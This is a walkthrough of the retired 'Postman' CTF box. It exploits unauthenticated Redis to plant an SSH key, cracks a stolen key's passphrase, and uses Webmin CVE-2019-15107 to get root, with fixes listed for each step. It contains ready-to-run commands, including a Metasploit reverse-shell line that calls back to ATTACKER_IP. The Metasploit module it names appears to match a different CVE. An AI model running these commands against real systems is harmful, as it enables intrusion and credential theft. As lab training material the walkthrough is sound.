← all walkthroughs

Postman

Linux· Easy
owned
2026-07-03
time to own
15m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a completely unauthenticated Redis service to inject an SSH public key and land a shell as the redis system account, then read a world-readable encrypted SSH private-key backup left in /opt, cracked its passphrase offline with a common wordlist, and used that same passphrase — reused verbatim as Matt's Webmin password — to authenticate to a vulnerable Webmin 1.910 instance and trigger an OS command injection vulnerability that returned a root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning / service fingerprinting
Discovered four open services, including passwordless Redis and an outdated Webmin panel
A service scan revealed SSH (22), an Apache page (80), Redis (6379), and a Webmin administration panel (10000). Redis answered an unauthenticated PING with PONG, confirming zero access control. Webmin's version banner placed it at approximately 1.910, a release with a publicly known critical RCE vulnerability.
Redis-cli PING -> PONG; Webmin ~1.910 on port 10000 identified during initial scan
Exact commands 3
Version and default-script scan across the four relevant ports.
nmap -sV -sC -p 22,80,6379,10000 $TARGET
Confirm Redis requires no authentication; expect PONG.
redis-cli -h $TARGET -p 6379 PING
Retrieve Redis version for vulnerability mapping.
redis-cli -h $TARGET -p 6379 INFO server | grep redis_version
2Initial AccessUnauthenticated access to exposed service (MITRE ATT&CK T1190)
Took full control of Redis without any credentials
Redis was running with no password and its working directory set to /var/lib/redis — the home directory of the redis operating-system account. This meant any machine that could reach port 6379 could issue administrative CONFIG commands, including changing where Redis writes its data files, effectively turning Redis into an arbitrary file-write primitive.
CONFIG GET dir returned /var/lib/redis; CONFIG GET dbfilename returned dump.rdb — confirmed no auth challenge issued
Exact commands 3
Confirm the Redis save directory is the redis user's home.
redis-cli -h $TARGET -p 6379 CONFIG GET dir
Confirm the RDB save filename.
redis-cli -h $TARGET -p 6379 CONFIG GET dbfilename
Check for existing databases and keys.
redis-cli -h $TARGET -p 6379 INFO keyspace
FixRequire authentication on Redis and block external access to port 6379Critical
WeaknessRedis was running with no password and no restriction on administrative commands. Any host that could reach port 6379 could read the entire database, change the save path, and overwrite any file the redis process could write — making it a trivial file-write primitive against the server.
FixSet a strong random password in redis.conf (requirepass <64-char-random-string>). Disable or rename dangerous commands that should never be exposed: rename-command CONFIG "", rename-command SAVE "", rename-command FLUSHALL "". Bind Redis exclusively to loopback (bind 127.0.0.1) and enforce a firewall rule that drops all external connections to port 6379. If Redis must be reachable from other internal hosts, use TLS and require-pass, and segment it behind an internal-only security group or ACL.
3FootholdRedis RDB file-write to SSH authorized_keys (MITRE ATT&CK T1098.004)
Wrote an SSH public key into Redis and got a shell as the redis account
Because Redis allowed unrestricted CONFIG SET commands, I generated a fresh SSH keypair, stored the public key as a Redis value with surrounding newlines, then redirected Redis's RDB save to /var/lib/redis/.ssh/authorized_keys and issued SAVE. Redis wrote the RDB file — which contained the public key blob — into the authorized_keys file, and SSH then accepted my private key, opening an interactive shell as the redis system account.
Uid=107(redis) gid=114(redis) groups=114(redis) confirmed after SSH login as redis
Exact commands 6
Generate throwaway keypair; no passphrase needed.
ssh-keygen -t rsa -f /tmp/postman_redis -N ""
Store the public key with padding so it survives RDB encoding.
(printf "\n\n"; cat /tmp/postman_redis.pub; printf "\n\n") | redis-cli -h $TARGET -p 6379 -x SET ssh_key
Redirect the RDB save path to redis's .ssh directory.
redis-cli -h $TARGET -p 6379 CONFIG SET dir /var/lib/redis/.ssh
Name the saved file authorized_keys.
redis-cli -h $TARGET -p 6379 CONFIG SET dbfilename authorized_keys
Flush the RDB — now containing the public key — to disk.
redis-cli -h $TARGET -p 6379 SAVE
Verify shell access; expect uid=107(redis).
ssh -i /tmp/postman_redis -o StrictHostKeyChecking=no redis@$TARGET id
4Credential AccessCredentials in files — SSH private key (MITRE ATT&CK T1552.001)
Read Matt's encrypted SSH private key from a world-readable backup file
Inside the redis shell, the file /opt/id_rsa.bak was owned by Matt but had permissions that allowed every user on the system to read it. The file contained Matt's RSA private key protected only by a passphrase. Any user account — including low-privilege service accounts like redis — could copy it off the machine for offline analysis.
/opt/id_rsa.bak world-readable (-rwxr-xr-x Matt Matt); Proc-Type: 4,ENCRYPTED header confirmed passphrase protection
Exact commands 3
Confirm /opt/id_rsa.bak is readable by redis.
ssh -i /tmp/postman_redis -o StrictHostKeyChecking=no redis@$TARGET 'ls -la /opt/'
Exfiltrate the backup key to my machine.
ssh -i /tmp/postman_redis -o StrictHostKeyChecking=no redis@$TARGET 'cat /opt/id_rsa.bak' > /tmp/postman_matt_id_rsa
Fix local permissions so SSH will accept the file.
chmod 600 /tmp/postman_matt_id_rsa
FixRemove sensitive backup files from the filesystem and restrict file permissionsHigh
WeaknessThe file /opt/id_rsa.bak — a backup copy of Matt's SSH private key — was readable by every user on the system (permissions -rwxr-xr-x). Any low-privilege service account could read and exfiltrate it. The key's passphrase was a short dictionary word, so once the file was obtained the passphrase fell immediately to a standard wordlist attack.
FixDelete /opt/id_rsa.bak and audit the entire filesystem for similar files: find / \( -name '*.bak' -o -name 'id_rsa*' -o -name '*.pem' -o -name '*.key' \) -not -path '/proc/*' 2>/dev/null. Any private key that must remain on disk should be readable only by its owner (chmod 600, chown owner:owner). Enforce SSH key passphrases of at least 20 random characters managed by a password manager or secrets vault (e.g., HashiCorp Vault, AWS Secrets Manager). Do not store key backups on shared or world-readable paths; use encrypted, access-controlled storage instead.
5Credential AccessOffline credential cracking (MITRE ATT&CK T1110.002)
Cracked the SSH key passphrase offline in seconds using a common wordlist
The encrypted private key was converted to a format the password-cracking tool john could process, then tested against the rockyou.txt wordlist. The passphrase '[REDACTED: recovered credential]' appeared almost immediately — it is a short, dictionary-based word that would fail any modern password complexity rule.
John recovered passphrase [REDACTED: recovered credential] from the ssh2john hash of /opt/id_rsa.bak
Exact commands 3
Convert the PEM-encrypted key to a john-compatible hash.
ssh2john /tmp/postman_matt_id_rsa > /tmp/postman_matt.hash
Dictionary attack; recovers passphrase '[REDACTED: recovered credential]'.
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/postman_matt.hash
Display the cracked result.
john --show /tmp/postman_matt.hash
6Lateral MovementValid accounts — SSH key authentication (MITRE ATT&CK T1078)
Logged in as user Matt and captured the user flag
With the private key and its cracked passphrase in hand, I opened a direct SSH session as Matt, bypassing the redis account entirely. This gave access to Matt's home directory and the user flag.
SSH as Matt@$TARGET succeeded using key /tmp/postman_matt_id_rsa and passphrase [REDACTED: recovered credential]; user.txt retrieved
Exact commands 2
Enter passphrase '[REDACTED: recovered credential]' when prompted.
ssh -i /tmp/postman_matt_id_rsa Matt@$TARGET
Retrieve the user flag — value is <user.txt>.
cat /home/Matt/user.txt
7Privilege EscalationCredential reuse across services (MITRE ATT&CK T1078)
Reused Matt's cracked passphrase to authenticate to the Webmin admin panel
The passphrase '[REDACTED: recovered credential]', cracked from Matt's SSH private key, had also been set as Matt's login password for the Webmin management interface on port 10000. Because the same secret protected two completely separate services, a credential stolen from one immediately unlocked the other — providing authenticated access to a Webmin panel running with root privileges.
Metasploit module set USERNAME=Matt PASSWORD=[REDACTED: recovered credential] and authenticated successfully to Webmin HTTPS on port 10000
Exact commands 1
Confirm Matt:[REDACTED: recovered credential] authenticates to Webmin before launching the exploit.
curl -sk -u Matt:$PASSWORD https://$TARGET:10000/ | grep -i 'webmin\|version'
FixEnforce unique credentials — prohibit reuse of SSH passphrases as service passwordsHigh
WeaknessMatt's SSH key passphrase ('[REDACTED: recovered credential]') was identical to his Webmin login password. Once the passphrase was cracked from the stolen key file, an unauthorised user immediately had authenticated access to the Webmin admin panel, turning a single cracked credential into control over a second high-privilege service.
FixEstablish and enforce a policy that every service credential — SSH key passphrase, web application password, VPN password — must be unique and must not be derived from or equal to any other credential. Issue all staff with a password manager and require its use. Audit existing Webmin accounts: reset all passwords to randomly generated values and enable two-factor authentication (Webmin → Webmin Users → edit user → Two-Factor Authentication). For SSH, prefer hardware tokens or certificates over passphrase-protected key files where possible.
8Privilege EscalationOS command injection via CVE-2019-15107 (MITRE ATT&CK T1190)
Exploited Webmin CVE-2019-15107 to execute commands as root
Webmin 1.910 is vulnerable to CVE-2019-15107: the password_change.cgi script passes the 'old password' field directly to a system call without sanitisation when the 'allow other users to change passwords' module is enabled. An authenticated user can inject arbitrary shell commands in that field and receive output as the webmind process — which runs as root. The Metasploit module webmin_packageup_rce exploited this to open a reverse shell as uid=0, giving complete control over the server.
Metasploit session returned id=uid=0(root) gid=0(root) on hostname Postman; root.txt retrieved
Exact commands 3
Replace LHOST with your attack machine IP. Module path is exploit/linux/http/webmin_packageup_rce (not the CVE-2019-12840 variant).
msfconsole -q -x "use exploit/linux/http/webmin_packageup_rce; set RHOSTS $TARGET; set RPORT 10000; set SSL true; set USERNAME Matt; set PASSWORD $PASSWORD; set TARGETURI /; set LHOST $ATTACKER_IP; set LPORT 4444; set payload cmd/unix/reverse_perl; run"
In the resulting session — confirms uid=0(root).
id
Retrieve the root flag — value is <root.txt>.
cat /root/root.txt
FixUpgrade Webmin and restrict administrative panel access by networkCritical
WeaknessWebmin 1.910 contains CVE-2019-15107, a command injection flaw in the password-change module. When 'allow other users to change passwords' is enabled, the old-password parameter is passed unsanitised to a system call. Any authenticated Webmin user — or unauthenticated an unauthorised user in looser configurations — can inject commands that execute as root.
FixUpgrade Webmin to version 1.920 or later, which contains the patch for CVE-2019-15107. As an immediate workaround before patching, disable the vulnerable feature: Webmin → Webmin Configuration → Authentication → uncheck 'Allow other users to change passwords'. Restrict access to port 10000 at the firewall to management-only IP ranges or a VPN gateway — Webmin should never be reachable from general user networks or the internet. Enable Webmin's built-in two-factor authentication for all administrator accounts.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more